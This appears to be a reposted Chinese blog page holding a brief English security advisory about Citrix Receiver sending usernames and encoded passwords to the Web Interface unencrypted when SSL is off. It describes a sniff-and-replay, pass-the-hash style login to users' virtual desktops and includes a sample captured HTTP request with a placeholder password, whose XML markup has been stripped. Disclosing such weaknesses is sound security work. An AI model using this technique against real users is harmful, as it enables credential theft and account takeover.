本文共 1329 字，大约阅读时间需要 4 分钟。

Tested against: Citrix XenDesktop, XenServer, Receiver 5.6 SP2 (possibly other versions as well)By default, the authentication between the Citrix Receiver client to the Web interface is not configured to use SSL. If a company elects not to use SSL for this, the XML transaction between the receiver client and the Web Interface server to enum.aspx and launch.aspx contains the username and encoded password of the user.  If an attacker can sniff this authentication traffic, they can use the encoded password to perform a "pass-the-hash" type attack to log in as the user via Citrix Receiver and gain access to the users Virtual Desktop(s).POST /Citrix/XDPNAgent/enum.aspx HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: C:\PROGRA~1\Citrix\ICACLI~1\PNAMain.exeHost: xxx.xxx.xxx.xxxContent-Length: 705Connection: Keep-AliveCache-Control: no-cache
   
   
    
     
      $PRELAUNCH$
     
     
      permissions
     
     
      icon-info
     
     
      all
     
     
      x
     
     
      win32
     
     
      ica30
     
     
      content
     
     
      
       domain\myuser
      
      
       ENCODEDPASSWORDHERE
      
      
     
     
      COMPUTER01
     
     
      xxx.xxx.xxx.xxx
     
    
   More information on how it works:http://eelsivart.blogspot.com/2011/12/citrix-receiver-xendesktop-pass-hash.html

转载地址：http://tjhmb.baihongyu.com/